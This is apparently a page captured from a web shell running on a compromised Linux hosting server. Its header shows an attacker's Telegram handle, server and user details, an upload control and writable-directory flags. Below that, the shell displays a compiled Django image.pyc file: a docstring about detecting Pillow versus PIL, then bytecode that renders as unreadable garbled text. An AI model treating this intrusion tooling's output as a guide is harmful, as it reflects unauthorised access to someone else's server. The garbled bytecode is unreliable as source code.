https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/utils/image.pyc
�
r�\c@ssdZddlmZddlZddlmZddlmZda
dadad�Z
e
�\a
aadS(u�
To provide a shim layer over Pillow/PIL situation until the PIL support is
removed.


Combinations To Account For
===========================

* Pillow:

    * never has ``_imaging`` under any Python
    * has the ``Image.alpha_composite``, which may aid in detection

* PIL

    * CPython 2.x may have _imaging (& work)
    * CPython 2.x may *NOT* have _imaging (broken & needs a error message)
    * CPython 3.x doesn't work
    * PyPy will *NOT* have _imaging (but works?)
    * On some platforms (Homebrew and RHEL6 reported) _imaging isn't available,
      the needed import is from PIL import _imaging (refs #21355)

Restated, that looks like:

* If we're on Python 2.x, it could be either Pillow or PIL:

    * If ``import _imaging`` results in ``ImportError``, either they have a
      working Pillow installation or a broken PIL installation, so we need to
      detect further:

        * To detect, we first ``import Image``.
        * If ``Image`` has a ``alpha_composite`` attribute present, only Pillow
          has this, so we assume it's working.
        * If ``Image`` DOES NOT have a ``alpha_composite``attribute, it must be
          PIL & is a broken (likely C compiler-less) install, which we need to
          warn the user about.

    * If ``import _imaging`` works, it must be PIL & is a working install.

* Python 3.x

    * If ``import Image`` works, it must be Pillow, since PIL isn't Python 3.x
      compatible.

* PyPy

    * If ``import _imaging`` results in ``ImportError``, it could be either
      Pillow or PIL, both of which work without it on PyPy, so we're fine.


Approach
========

* Attempt to import ``Image``

    * ``ImportError`` - nothing is installed, toss an exception
    * Either Pillow or the PIL is installed, so continue detecting

* Attempt to ``hasattr(Image, 'alpha_composite')``

    * If it works, it's Pillow & working
    * If it fails, we've got a PIL install, continue detecting

        * The only option here is that we're on Python 2.x or PyPy, of which
          we only care about if we're on CPython.
        * If we're on CPython, attempt to ``from PIL import _imaging`` and
          ``import _imaging``

            * ``ImportError`` - Bad install, toss an exception

i����(tunicode_literalsN(tImproperlyConfigured(t
ugettext_lazycCs�tdk	rtttfSt}yddlm}WnOtk
r�}yddl}Wq�tk
r�}ttd�|��q�XnXt	|d�r�t}n�ddl
}|j�j�dkr(yddlm}Wq(tk
r$yddl}Wq%tk
r }ttd�|��q%Xq(Xnyddlm}Wntk
r[ddl}nX|tk	rt
jd	d
t�n|||fS(Ni����(tImageu,Neither Pillow nor PIL could be imported: %sualpha_compositeucpython(t_imagingu;The '_imaging' module for the PIL could not be imported: %s(t	ImageFileu:Support for the PIL will be removed in Django 1.8. Please u&uninstall it & install Pillow instead.(RtNoneRRtFalsetPILtImportErrorRt_thasattrtplatformtpython_implementationtlowertwarningstwarntPendingDeprecationWarning(tPIL_imagingtPILImageterrRtPILImageFile((s4/tmp/pip-install-XxeQeY/django/django/utils/image.pyt_detect_image_libraryVsD
	
	

(t__doc__t
__future__RRtdjango.core.exceptionsRtdjango.utils.translationRR
RRRRR(((s4/tmp/pip-install-XxeQeY/django/django/utils/image.pyt<module>Hs	D

https://t.me/AnonymousX5 - 2025